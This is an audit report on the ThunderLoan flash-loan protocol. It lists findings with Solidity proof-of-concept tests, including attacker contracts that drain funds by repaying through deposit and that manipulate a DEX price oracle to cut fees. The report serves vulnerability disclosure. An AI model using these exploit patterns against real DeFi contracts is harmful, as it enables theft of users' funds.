ThunderLoan Security Review

Initial Version

Valya Zaitseva

November 28, 2025

ThunderLoan Security Review

Valya Zaitseva

November 28, 2025

Prepared by: Valya Zaitseva

Table of Contents

- Medium
  * [M-1] Centralization Risk
  * [M-2] Using TSwap as price oracle leads to Price and Oracle Manipulation Attacks and users get much less fees than expected
- Low
  * [L-1] Not possible to repay for the flashloan if the second flashloan is issued on the same token
- Informational
  * [I-1] Address State Variable Set Without Checks
  * [I-2] Public Function Not Used Internally
  * [I-3] Test coverage is too low

Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

As a solo reviewer, I make every effort to identify as many vulnerabilities in the code within the given time period, but hold no responsibility for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed, and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

Impact				
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

#– interfaces | #– IFlashLoanReceiver.sol | #– IPoolFactory.sol | #– ITSwapPool.sol | #– IThunderLoan.sol #– protocol | #– AssetToken.sol | #– OracleUpgradeable.sol | #– ThunderLoan.sol #– upgradedProtocol #– ThunderLoanUpgraded.sol

Roles

Owner: The owner of the protocol who has the power to upgrade the implementation. Liquidity Provider: A user who deposits assets into the protocol to earn interest. User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	3
Total	9

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate without collecting any fees.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Impact: There are several impacts to this bug: 1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has. 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept: 1. LP deposits; 2. Exchange rate of underlying token increased; 3. It is impossible to redeem because of `ERC20InsufficientBalance` - the protocol tries to withdraw more assets than it has. 4. It there were other deposits from other LPs, it would be possible to redeem but at the expense of other LP's deposited assets, which may cause total drain of underlying tokens.

Proof of Code: add this test to `ThunderLoanTest.t.sol`:

```
function
    test_redeemCanDrainAllUnderlyingTokens_possibleRewardManipulationAttack
    ()
     public
     setAllowedToken
     hasDeposits
```

```
{
    vm.prank(liquidityProvider);
    vm.expectRevert();
    thunderLoan.redeem(tokenA, type(uint256).max);
}
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Deposit over repay of flashloan makes it possible to steal flashloaned amount + it's fee

Description: It is possible to call `deposit` instead of `repay` function to repay the flashloan. This makes an attacker a liquidity provider and the protocol mints assetTokens for him to represent his share in the ThunderLoan protocol. Since an attacker has assetTokens now, he is able to `redeem` all flashloaned amount + fee.

Impact: The Thundreloan balance will be totally drained

Proof of Concept: Add this test and a contract to `ThunderLoanTest.t.sol`:

```
function test_useDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        console2.log("minted fee ", fee); //0.150000000000000000

        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        uint256 startingDorBalance = tokenA.balanceOf(address(dor));
        console2.log("startingDorBalance ", startingDorBalance);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;

        dor.stealMoney(address(tokenA));

        uint256 endingDorBalance = tokenA.balanceOf(address(dor));
        console2.log("endingDorBalance ", endingDorBalance);
        assertGt(endingDorBalance, amountToBorrow + fee);
    }


contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;

    constructor(address _thunderloan) {
        thunderLoan = ThunderLoan(_thunderloan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        console2.log("flashloaned amount: ", amount); //
            50.000000000000000000
        // return via deposit and get AssetTokens
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee); //
            50.150000000000000000

        return true;
    }

    function stealMoney(address token) public {
        AssetToken assetToken = thunderLoan.getAssetFromToken(IERC20(
            token));
        uint256 assetTokenBalance = assetToken.balanceOf(address(this))
            ;
        console2.log("assetTokenBalance ", assetTokenBalance);
        thunderLoan.redeem(IERC20(token), assetTokenBalance);
        console2.log("redeemed ");
    }
}
```

Recommended Mitigation: Inside `flashloan` function transfer borrowed amount with fee from a flashloan receiver immediately after callback to him:

```
...
 receiverAddress.functionCall(
            abi.encodeCall(
                IFlashLoanReceiver.executeOperation,
                (
                    address(token),
                    amount,
                    fee,
                    msg.sender, // initiator
                    params
                )
            )
        );
+        token.safeTransferFrom(receiverAddress, address(assetToken),
    amount + fee);
        uint256 endingBalance = token.balanceOf(address(assetToken));
...
```

[H-3] Mixing up variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
uint256 private s_flashLoanFee;
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. More importantly, the `s_currentlyFlashLoaning` mapping will start in the wrong storage slot.

Proof of Concept: Place the following into `ThunderLoanTest.t.sol`:

PoC

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
```

```

function test_upgradeBreaksStorage() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upg = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upg), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("fee before ", feeBeforeUpgrade);
        console2.log("fee after ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoanUpgraded storage` and `forge inspect ThunderLoan storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots:

```
-uint256 private s_flashLoanFee;
-uint256 public constant FEE_PRECISION = 1e18;
+uint256 private s_blank;
+uint256 private s_flashLoanFee;
+mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
+uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Centralization Risk

Description: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds. 1. `ThunderLoan.sol`:

~~~
```solidity
    function setAllowedToken(IERC20 token, bool allowed) external
       onlyOwner returns (AssetToken) {}
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {}
    function _authorizeUpgrade(address newImplementation) internal
       override onlyOwner { }
```
~~~

2. `ThunderLoanUpgraded.sol`:

```
    function setAllowedToken(IERC20 token, bool allowed) external
       onlyOwner returns (AssetToken) {}
```

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
        {}
    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

[M-2] Using TSwap as price oracle leads to Price and Oracle Manipulation Attacks and users get much less fees than expected

Description: Since the Thunderloan protocol relies on the AMM with reserves as a source of underlying token price in WETH (TSwap), it is possible to manipulate the price using flashloan from Thunderloan and reduce flashloan fee.

Impact: The protocol gets less fee that it could get.

Proof of Concept: Add the following test and a `MaliciousFlashLoanReceiver` contract to `ThunderLoanTest.t.sol`:

```

function test_OracleManipulation() public {
        // 1. Setup contracts!
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        //create a TSwap Dex between WETH / tokenA
        address tswapPool = pf.createPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);

        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
            timestamp);
        // Ratio 100 weth / 100 tokenA = 1:1
        vm.stopPrank();

        // 3. Fund ThunderLoan
        // set allow
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 weth and 100 tokenA in TSwap
        // 1000 tokenA in Thunderloan

        // Take out a flash loan to ruin the price on TSwap:
        // take out a flash loan of 50 tokenA
        // swap it on the dex, tanking the price: ??? weth and 150
            tokenA
        // Take out ANOTHER flash loan of 50 tokenA (and we'll see how
            much cheaper it is!!!)

        // 4. We are going to take out 2 flash loans:
        //      a. To nuke the price of the weth/tokenA on TSwap
        //      b. To show that doing so greatly reduces the fees we
            pay on Thunderloan

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console2.log("Normal fee is: ", normalFeeCost); //
            0.296147410319118389

        uint256 amountToBorrow = 50e18; //we gonna go this twice

        MaliciousFlashLoanReceiver mfr = new MaliciousFlashLoanReceiver
            (
             tswapPool, address(thunderLoan), address(thunderLoan.
                 getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(mfr), 55e18); //@V:E money to cover fee
        thunderLoan.flashloan(address(mfr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = mfr.feeOne() + mfr.feeTwo();
        console2.log("Attack fee cost ", attackFee);
        assert(attackFee < normalFeeCost);
    }

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress; //@V:E should be AssetToken - address(
        thunderLoan.getAssetFromToken(tokenA))
    BuffMockTSwap tswapPool;
    bool attacked;

    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderloan, address
        _repayAddress) {
        thunderLoan = ThunderLoan(_thunderloan);
        repayAddress = _repayAddress;
        tswapPool = BuffMockTSwap(_tswapPool);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            // 1. Swap tokenA borrowed for weth
            // 2. Take out ANOTHER flash loan, to show the difference}
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp); // this will nuke
            // the price
            console2.log("1 fl ");
            // we call the flash loan again (the second flash loan)
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");

            //@V:E it is not possible to repay via 'repay', so just
                send money directly
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
            console2.log("check thunderloan balance ");
            //repay - here it will not work!!!
            //IERC20(token).approve(address(thunderLoan), amount + fee)
                ;
            //thunderLoan.repay(IERC20(token), amount + fee);
        } else {
            //calculate the fee and repay
```

```
                console2.log("start of second fl ");
                feeTwo = fee;
                //repay
                IERC20(token).approve(address(thunderLoan), amount + fee);
                thunderLoan.repay(IERC20(token), amount + fee);
            }
            return true;
        }
    }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chinlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Not possible to repay for the flashloan if the second flashloan is issued on the same token

Description: When a flashloan is called from a flashloan for the same token, it is not possible to repay via `ThunderLoan::repay` function because `s_currentlyFlashLoaning[token]` flag is set to `false` by the previous flashloan.

Impact: Flashloan cannot be repaid, which makes this functionality useless.

Proof of Concept: Add the following test and contract to `ThunderLoanTest.t.sol`:

```

function test_CantRepaySecondFlashloanOnTheSameToken() public {
        // 1. Setup contracts!
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        //create a TSwap Dex between WETH / tokenA
        address tswapPool = pf.createPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);

        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        // Ratio 100 weth / 100 tokenA = 1:1
        vm.stopPrank();

        // 3. Fund ThunderLoan
        // set allow
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 weth and 100 tokenA in TSwap
        // 1000 tokenA in Thunderloan

        // Take out a flash loan to ruin the price on TSwap:
        // take out a flash loan of 50 tokenA
        // swap it on the dex, tanking the price: ??? weth and 150 tokenA
        // Take out ANOTHER flash loan of 50 tokenA (and we'll see how much cheaper it is!!!)

        // 4. We are going to take out 2 flash loans:
        //      a. To nuke the price of the weth/tokenA on TSwap
        //      b. To show that doing so greatly reduces the fees we pay on Thunderloan

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console2.log("Normal fee is: ", normalFeeCost); // 0.296147410319118389

        uint256 amountToBorrow = 50e18; //we gonna go this twice

        MaliciousFlashLoanReceiver mfr = new MaliciousFlashLoanReceiver(
            tswapPool, address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(mfr), 55e18); //@V:E money to cover fee
        vm.expectRevert(ThunderLoan.ThunderLoan__NotCurrentlyFlashLoaning.selector);
        thunderLoan.flashloan(address(mfr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = mfr.feeOne() + mfr.feeTwo();
        console2.log("Attack fee cost ", attackFee);
        assert(attackFee < normalFeeCost);
    }
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress; //@V:E should be AssetToken - address(thunderLoan.getAssetFromToken(tokenA))
    BuffMockTSwap tswapPool;
    bool attacked;

    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderloan, address _repayAddress) {
        thunderLoan = ThunderLoan(_thunderloan);
        repayAddress = _repayAddress;
        tswapPool = BuffMockTSwap(_tswapPool);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            // 1. Swap tokenA borrowed for weth
            // 2. Take out ANOTHER flash loan, to show the difference}
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp); // this will nuke
            // the price
            console2.log("1 fl ");
            // we call the flash loan again (the second flash loan)
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");

            //@V:E it is not possible to repay via 'repay', so just
```

```
                send money directly
            //IERC20(token).transfer(address(repayAddress), amount +
                fee);
            console2.log("check thunderloan balance ");
            //repay - here it will not work!!!
            IERC20(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(IERC20(token), amount + fee);
        } else {
            //calculate the fee and repay
            console2.log("start of second fl ");
            feeTwo = fee;
            //repay
            IERC20(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(IERC20(token), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation:

Informational

[I-1] Address State Variable Set Without Checks

Description: Check for `address(0)` when assigning values to address state variables.

```
@> function __Oracle_init_unchained(address poolFactoryAddress)
    internal onlyInitializing {
     s_poolFactory = poolFactoryAddress;
}
```

Recommended Mitigation:

Check on `address(0)`

```

+error OracleUpgradeable__AddressIsZero();
function __Oracle_init_unchained(address poolFactoryAddress) internal
    onlyInitializing {
+      if(poolFactoryAddress == address(0)){
+          revert OracleUpgradeable__AddressIsZero();
+      }
     s_poolFactory = poolFactoryAddress;
}
```

[I-2] Public Function Not Used Internally

Description: If a function is marked public but is not used internally, consider marking it as `external`
.

1. `ThunderLoan.sol`

```
    function repay(IERC20 token, uint256 amount) public {
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

2. `ThunderLoanUpgraded.sol`

```
    function repay(IERC20 token, uint256 amount) public {
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

[I-3] Test coverage is too low

Description: Total test coverage is: 32.41% lines, 34.52% functions

Recommended Mitigation: Do more tests!